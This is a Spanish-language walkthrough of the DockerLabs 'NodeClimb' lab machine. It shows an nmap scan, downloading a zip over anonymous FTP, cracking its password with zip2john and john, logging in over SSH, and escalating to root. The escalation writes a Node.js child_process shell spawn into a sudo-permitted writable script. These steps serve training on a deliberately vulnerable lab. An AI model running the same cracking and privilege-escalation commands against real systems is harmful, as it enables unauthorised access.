> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/nodeclimb.md).

# NodeClimb

### **1. Despliegue de la máquina**

#### **1.1. Descarga**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **NodeClimb** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

#### **1.2. Descompresión**

Utilizamos la herramienta `7z` para extraer los archivos:

```bash
7z x nodeclimb.zip
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FADqlf8jB3R6QmU4vR6Gk%2FPasted%20image%2020250706153400.png?alt=media&amp;token=bdddb0c6-4829-4d77-bf78-e02df7e83dcb" alt=""><figcaption></figcaption></figure>

#### **1.3. Ejecución**

Desplegamos la máquina con el script proporcionado:

```bash
bash auto_deploy.sh nodeclimb.tar
```

**Resultado:** La máquina se inicia correctamente con la IP `172.17.0.2`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FZG9zSZOg12Apx2vfQDM8%2FPasted%20image%2020250706153442.png?alt=media&amp;token=f6147f0c-6daf-4f32-8b7e-2ae98a23cb77" alt=""><figcaption></figcaption></figure>

### **2. Reconocimiento**

#### **2.1. Verificación de conectividad**

Realizamos un `ping` para confirmar que la máquina está activa:

```bash
ping -c 1 172.17.0.2
```

**Observación:** El valor `TTL=64` indica que el sistema operativo es **Linux** (los sistemas Windows suelen tener `TTL=128`).

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FyIP8zWnPkSH11C5LME7R%2FPasted%20image%2020250706153526.png?alt=media&amp;token=9035be39-30a6-460e-a28c-da8ad01c4da2" alt=""><figcaption></figcaption></figure>

#### **2.2. Escaneo de puertos**

Ejecutamos un escaneo rápido con `nmap` para identificar puertos abiertos:

```bash
nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Puertos abiertos detectados:**

* **Puerto 21:** `FTP`.
* **Puerto 22:** `SSH`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FN8HUKRKQNcsbGIN5E44a%2FPasted%20image%2020250706153551.png?alt=media&amp;token=1963c65d-912f-460a-94a9-774ce25e84d5" alt=""><figcaption></figcaption></figure>

#### **2.3. Análisis detallado de servicios**

Realizamos un escaneo más exhaustivo para identificar versiones y servicios:

```bash
nmap -p21,22 -sCV 172.17.0.2 -oN targeted
```

**Resultados:**

* **FTP (vsftpd 3.0.3):** Permite acceso anónimo (`Anonymous FTP login allowed`).
* **SSH (OpenSSH 9.2p1):** Servicio SSH estándar en sistemas Debian.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FugCxpe0epaYSbkDT7kg6%2FPasted%20image%2020250706153611.png?alt=media&amp;token=45645584-e70c-48b7-bf3b-c192cb025e77" alt=""><figcaption></figcaption></figure>

### **3. Explotación**

#### **3.1. Acceso al servicio FTP**

Nos conectamos al servicio FTP con el usuario `anonymous`:

```bash
ftp anonymous@172.17.0.2
```

**Archivo encontrado:** `secretitopicaron.zip` (un archivo comprimido protegido con contraseña).

Descargamos el archivo a nuestro equipo local:

```bash
get secretitopicaron.zip
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FzoDvd92zCyLguVxGXA9x%2FPasted%20image%2020250706153724.png?alt=media&amp;token=425abab2-3c39-4c1a-92d5-6ecbc225c56d" alt=""><figcaption></figcaption></figure>

#### **3.2. Fuerza bruta al archivo ZIP**

Utilizamos `zip2john` para extraer el hash de la contraseña del archivo ZIP:

```bash
zip2john secretitopicaron.zip > hash
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FmICGlSNLVrd4g0JeeVsM%2FPasted%20image%2020250706153813.png?alt=media&amp;token=3fd4d0bc-84b2-4716-bd0a-7ef015f3d7dc" alt=""><figcaption></figcaption></figure>

Aplicamos fuerza bruta con el diccionario `rockyou.txt` para obtener la contraseña del archivo comprimido:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

**Resultado:** Obtenemos la contraseña del archivo ZIP.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FgaRqwRb1LbmFySWWHbte%2FPasted%20image%2020250706154752.png?alt=media&amp;token=669090e7-0365-46c3-a1b6-8f89bbac8400" alt=""><figcaption></figcaption></figure>

#### **3.3. Extracción del archivo ZIP**

Descomprimimos el archivo con `7z`:

```bash
7z x secretitopicaron.zip
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FU7AxZaRdiMDQdLGILmIm%2FPasted%20image%2020250706154831.png?alt=media&amp;token=3115a221-e896-4498-8002-0bf04229bdac" alt=""><figcaption></figcaption></figure>

**Contenido del archivo:** Un archivo de texto con credenciales, para conectarnos por SSH.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FcSUCZJ19oy7XhQZi4Kim%2FPasted%20image%2020250706154851.png?alt=media&amp;token=706eb6d4-f6d3-4b86-9de8-60cf8ac13df9" alt=""><figcaption></figcaption></figure>

#### **3.4. Conexión SSH**

Nos conectamos a la máquina con las credenciales obtenidas:

```bash
ssh mario@172.17.0.2
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FVeBT4yXwx2illWGa4TWg%2FPasted%20image%2020250706154914.png?alt=media&amp;token=8031b072-3a98-486f-b86c-2e7083a8ac1e" alt=""><figcaption></figcaption></figure>

### **4. Escalada de privilegios**

#### **4.1. Análisis de permisos sudo**

Verificamos los comandos que el usuario `mario` puede ejecutar con sudo:

```bash
sudo -l
```

**Resultado:** El usuario puede ejecutar un script Node.js (`script.js`) como `root` sin proporcionar contraseña:

```bash
(ALL) NOPASSWD: /usr/bin/node /home/mario/script.js
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FHqEZImvimlkRA59tmD3x%2FPasted%20image%2020250706155001.png?alt=media&amp;token=ae6bbe87-4cde-428b-8578-3bbaf27b1c9b" alt=""><figcaption></figcaption></figure>

#### **4.2. Manipulación del script**

Inspeccionamos el contenido del script:

```bash
cat script.js
```

**Observación:** El archivo está vacío y tenemos permisos para modificarlo.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FF4uY7BFeNLJjDlvB6qHy%2FPasted%20image%2020250706155016.png?alt=media&amp;token=548850d7-91ee-44d1-8de9-1afb93191da5" alt=""><figcaption></figcaption></figure>

Insertamos un código malicioso para generar una shell con privilegios de `root`:

```bash
echo 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})' > script.js
```

**Explicación:**

* El código utiliza el módulo `child_process` de Node.js para ejecutar una shell (`/bin/sh`).
* `stdio: [0, 1, 2]` redirige la entrada, salida y errores estándar para interactuar con la shell.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FTP7P4V2pKPu1E8nF343y%2FPasted%20image%2020250706155111.png?alt=media&amp;token=ae367185-6cae-470f-af28-fad3e192e6e2" alt=""><figcaption></figcaption></figure>

#### **4.3. Ejecución del script**

Ejecutamos el script con `sudo`:

```bash
sudo /usr/bin/node /home/mario/script.js
```

**Resultado:** Obtenemos una shell con privilegios de `root`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FJjS8xLX8W8RpjuKER1Rf%2FPasted%20image%2020250706155140.png?alt=media&amp;token=0b9de31d-9e48-4221-967f-db3db99753a7" alt=""><figcaption></figcaption></figure>
